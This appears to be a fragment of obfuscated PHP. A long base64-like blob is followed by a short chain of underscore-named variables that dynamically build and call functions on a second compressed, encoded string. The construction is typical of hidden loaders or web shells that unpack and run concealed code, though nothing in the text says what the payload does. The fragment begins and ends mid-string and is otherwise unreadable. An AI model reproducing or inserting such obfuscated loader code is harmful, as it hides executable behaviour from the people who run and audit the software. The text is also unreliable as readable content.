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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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